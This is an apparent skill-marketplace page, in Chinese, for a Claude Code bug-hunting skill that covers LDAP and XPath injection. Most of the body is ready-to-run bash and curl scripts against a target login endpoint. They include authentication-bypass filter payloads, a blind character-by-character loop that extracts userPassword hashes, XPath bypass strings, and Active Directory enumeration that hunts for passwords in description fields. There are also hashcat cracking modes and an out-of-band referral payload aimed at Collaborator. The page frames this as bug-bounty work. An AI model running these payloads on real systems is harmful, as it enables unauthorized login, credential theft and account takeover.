mcpField
H
hunt-ldap

hunt-ldap

github.com/elementalsouls安全5.3k245 次安装今天更新
代码仓库

关于 hunt-ldap

面向安全测试人员的 LDAP 与 XPath 注入排查技能,介绍认证绕过、盲注和目录枚举,并区分 Active Directory 与通用 LDAP 的属性差异。

主要功能

  1. 01确认 LDAP 后端与注入迹象
  2. 02测试 LDAP 认证绕过
  3. 03通过受控响应判断盲注
  4. 04检查 XML 认证中的 XPath 注入
  5. 05区分 AD 与通用 LDAP 的可读属性

适用场景

  1. 01评估登录或目录查询功能的注入风险
  2. 02验证盲注是否能提取可读属性
  3. 03在 Active Directory 中枚举用户与组信息

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-ldap

安装后在 Claude Code 中输入/hunt-ldap确认已加载。

详细介绍

HUNT-LDAP — LDAP 注入与 XPath 注入

背景说明:LDAP 注入很少会在公开平台上披露原样载荷(大多数案例只存在于内部渗透测试报告中)。本技能以 OWASP LDAP 注入预防 / 测试指南(WSTG-INPV-06)、**PortSwigger Web Security Academy(LDAP 注入)**和 RFC 4515 过滤器语法为依据;这些都是可公开核实的参考资料,而非杜撰的 HackerOne 编号。不要引用无法提供链接的报告。

皇冠明珠目标

绕过身份验证的 LDAP 注入 = 严重。盲属性凭据 / 秘密信息窃取 = 高危。仅枚举 AD = 中高危。

价值最高的攻击链:

  • LDAP 身份验证绕过 — 闭合 uid 过滤器并追加一个恒真 OR,使绑定 / 搜索在没有有效密码的情况下返回管理员条目。
  • 盲属性数据窃取 — 通过布尔型预言机(登录成功 / 失败、结果数量或响应长度)逐字符提取属性值。
  • userPassword 哈希窃取(仅限非 AD) — 在 OpenLDAP / 389-DS 上,userPassword 属性可能存放 {SSHA} / {CRYPT} 哈希,这些哈希可以通过查询读取。参见下文关于 AD 与通用 LDAP 的警告。
  • XPath 注入身份验证绕过 — 针对基于 XML 的身份验证使用 ' or '1'='1。

严重 — Active Directory 与通用 LDAP 的区别

不要混为一谈。 两者的行为截然不同:

通用 LDAP(OpenLDAP、389-DS、ApacheDS)Active Directory
密码属性userPassword — 可能存放 {SSHA} / {MD5} / {CRYPT},且可读取(前提是 ACL 允许)unicodePwd — 只写,任何搜索都不会返回
通过注入窃取哈希可能,前提是 ACL 泄露了 userPassword不可能 — LDAP 中不存在可读取的哈希属性
有用的枚举属性uid、cn、mail、userPasswordsAMAccountName、userPrincipalName、mail、memberOf、description(其中经常存有明文秘密!)

不要告诉读者盲 LDAP 注入可以获取 AD 密码哈希——事实并非如此。 unicodePwd 是只写的。针对 AD,真正的收获是枚举(sAMAccountName、memberOf,以及管理员误用来存储密码的 description / info 字段)和身份验证绕过,而不是哈希转储。哈希窃取技术仅适用于公开 userPassword 的非 AD 目录。


攻击面信号

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP 过滤器语法(RFC 4515)——注入为何有效

登录过滤器通常通过字符串拼接构造:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND,| = OR,! = NOT。过滤器使用前缀 / 波兰表示法——运算符位于最前,每个子过滤器都用括号括起来。要注入,你必须 (a) 退出当前的 (uid=...) 组,(b) 注入自己的逻辑,并且 (c) 保持整体括号数量平衡,否则服务器会抛出过滤器语法错误,而不是执行查询。

特殊字符集 — 逐一测试

这些字符在语法上有特殊含义,安全应用必须对其进行转义(RFC 4515 §3)。如果应用在收到未转义的字符时返回错误或行为有所不同,则输入未转义 → 可注入:

字符过滤器转义重要原因
*\2a通配符 — 匹配任意值
(\28开始过滤器组
)\29结束过滤器组
\\5c转义字符本身
NUL\00字符串终止符 — 会截断使用 C 实现的服务器中的过滤器
/(DN 上下文)RDN 分隔符 — 与 DN 注入相关

搜索过滤器上下文与 DN 注入是不同的漏洞:

  • 搜索过滤器注入(最常见):你的输入进入 (attr=VALUE) 过滤器。载荷会使用 * ( ) & | !。
  • DN 注入:你的输入被拼接进可分辨名称(uid=VALUE,ou=people,dc=corp)。此时 , = + " \ < > ; 和 / 很重要,而 * 不是通配符。两种情况都要测试——载荷不可互换。

分步狩猎方法论

阶段 1 — 确认 LDAP 后端(先建立基线)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

单独一个 ) 会导致语法错误/500,而括号配平的载荷不会,这就是最明确的 LDAP 注入信号——请记下来,后面需要用它作为证据。

阶段 2 — 身份验证绕过载荷(配平括号)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

**括号配平经验法则:**统计最终完整过滤器中的 ( 与 ) 数量,而不只是统计你的载荷。如果应用在输入后追加 )(userPassword=...)),请在末尾保留恰当数量的 ),使最终字符串配平。过滤器未配平 = 语法错误 = 不能绕过(误报)。

阶段 3 — 使用受控 oracle 进行盲目数据外泄(而非原始字节计数)

直接比较 size_download 差异容易受到噪声影响(WAF 横幅、CSRF 令牌、时间戳、注入字符本身导致的长度抖动)。使用成对的真/假对照,让 oracle 依据响应而非绝对大小作出判断。

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

盲目数据外泄的误报防护:

  • 每个肯定字符重复 3 次,并确认大小稳定——攻击者控制的字符本身造成的长度抖动是最常见的误报。
  • 每轮之后确认假条件对照仍返回假条件对应的大小(应用并非刚好开始对每个请求都报错——WAF 拦截看起来像匹配成功)。
  • 如果正文长度不可靠,可将 oracle 改为HTTP 状态码、正文标记字符串(是否包含 "Invalid credentials"),或使用重型过滤器进行计时——但前提是先建立稳定的基线差异。
阶段 4 — XPath 注入(基于 XML 的身份验证)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
阶段 5 — 通过通配符枚举 AD(计数 oracle,含对照)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here
阶段 6 — 工具与带外确认
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

攻击链表

LDAP 发现攻击链影响
身份验证绕过(恒为真的过滤器)以目录中的第一个条目身份访问管理员/SSO 面板严重
AD 枚举(sAMAccountName)用户名列表 → 密码喷洒 / 凭据填充大规模账户接管风险
memberOf 枚举找出 Domain Admins → 定向钓鱼/密码喷洒定向入侵
读取 description/info 字段管理员留存在其中的明文凭据直接泄露凭据
盲目外泄 userPassword (仅限非 AD){SSHA}(加盐 SHA-1)→ hashcat -m 111({SSHA256}=1411,{SSHA512}=1711);{CRYPT} → 模式取决于 $id$ 前缀($1$=500,$6$=1800)→ 离线破解高
LDAP 转介 → Collaborator服务端请求 / 内部目录访问SSRF 类问题,可确认盲注

AD 没有可读取的密码属性——不要将“提取 AD 哈希”列为攻击链。 针对 AD,获取凭据的途径是滥用 description/info,或利用枚举出的用户名进行密码喷洒,而绝不是 unicodePwd。


验证 — 报告之前先排除误报

只有排除了语法错误、WAF 拦截和长度抖动等解释后,“绕过”或“匹配”才算属实。

  • 身份验证绕过:始终为真的载荷会返回有效的已认证会话(会话 Cookie + 可访问登录后的资源),而移除一个括号后发送相同请求,会返回筛选器语法错误——这证明筛选器已解析并执行,而不是应用对所有输入都默认放行。
  • 负向对照:逻辑上等效但结果为假的载荷()(uid=NONEXISTENT_ZZZ))会返回失败响应。如果真假两类载荷都“成功”,那你发现的是一个故障端点,而不是 LDAP 注入。
  • **盲注外带:**每个恢复出的字符都能以稳定的大小重复验证 3 次;轮次之间,FALSE 对照仍然读取为 FALSE;通过直接查询或使用该值的身份验证绕过载荷验证恢复出的值。
  • **XPath:**引号和方括号保持配对(未出现 500 错误),且绕过后登录进入了真实的账户上下文,而不只是显示了不同的错误页面。
  • **尽可能使用带外验证:**由引用载荷触发的 Collaborator DNS/LDAP 交互,对于盲注案例具有决定性意义——优先采用,而非仅根据长度推断。
  • **谨慎声明 AD:**如果你声称目标是“AD”,就必须枚举 AD 专用属性(sAMAccountName/memberOf);绝不能声称外带了 AD 哈希。

严重程度:

  • 绕过身份验证并以管理员/特权目录条目身份进入:严重
  • userPassword 哈希外带(非 AD)或读取 description 字段中的凭据:高
  • 仅枚举 AD 用户/组:中高
  • 已确认盲布尔判断 oracle,但无法获取有用属性:中

评论

支持 Markdown